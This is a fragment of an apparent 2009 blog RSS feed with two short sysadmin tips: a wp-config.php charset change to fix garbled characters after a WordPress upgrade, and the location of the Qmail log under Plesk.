		<comments>http://jw0rd.net/2009/01/16/strange-characters-after-wordpress-upgrade-27/#comments</comments>
		<pubDate>Fri, 16 Jan 2009 21:53:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://jw0rd.net/?p=49</guid>
		<description><![CDATA[If you see strange characters in your post content (â€œIâ€™, Â, etc&#8230;)  after a Wordpress upgrade your will need to modify the following line in your wp-config.php
Original:
define(&#8217;DB_CHARSET&#8217;, &#8216;utf8&#8242;);
Updated:
define(&#8217;DB_CHARSET&#8217;, &#8221;);
That&#8217;s it!
]]></description>
			<content:encoded><![CDATA[<p>If you see strange characters in your post content (â€œIâ€™, Â, etc&#8230;)  after a Wordpress upgrade your will need to modify the following line in your wp-config.php</p>
<p>Original:</p>
<blockquote><p>define(&#8217;DB_CHARSET&#8217;, &#8216;utf8&#8242;);</p></blockquote>
<p>Updated:</p>
<blockquote><p>define(&#8217;DB_CHARSET&#8217;, &#8221;);</p></blockquote>
<p>That&#8217;s it!</p>
]]></content:encoded>
			<wfw:commentRss>http://jw0rd.net/2009/01/16/strange-characters-after-wordpress-upgrade-27/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Qmail log location w/Plesk</title>
		<link>http://jw0rd.net/2009/01/15/qmail-log-location-wplesk/</link>
		<comments>http://jw0rd.net/2009/01/15/qmail-log-location-wplesk/#comments</comments>
		<pubDate>Thu, 15 Jan 2009 20:07:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Plesk]]></category>

		<guid isPermaLink="false">http://jw0rd.net/?p=47</guid>
		<description><![CDATA[The Qmail log location with Plesk is not /var/log/maillog it is /usr/local/psa/var/log/maillog
]]></description>
			<content:encoded><![CDATA[<p>The Qmail log location with Plesk is not /var/log/maillog it is /usr/local/psa/var/log/maillog</p>
]]></content:encoded>
			<wfw:commentRss>http://jw0rd.net/2009/01/15/qmail-log-location-wplesk/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
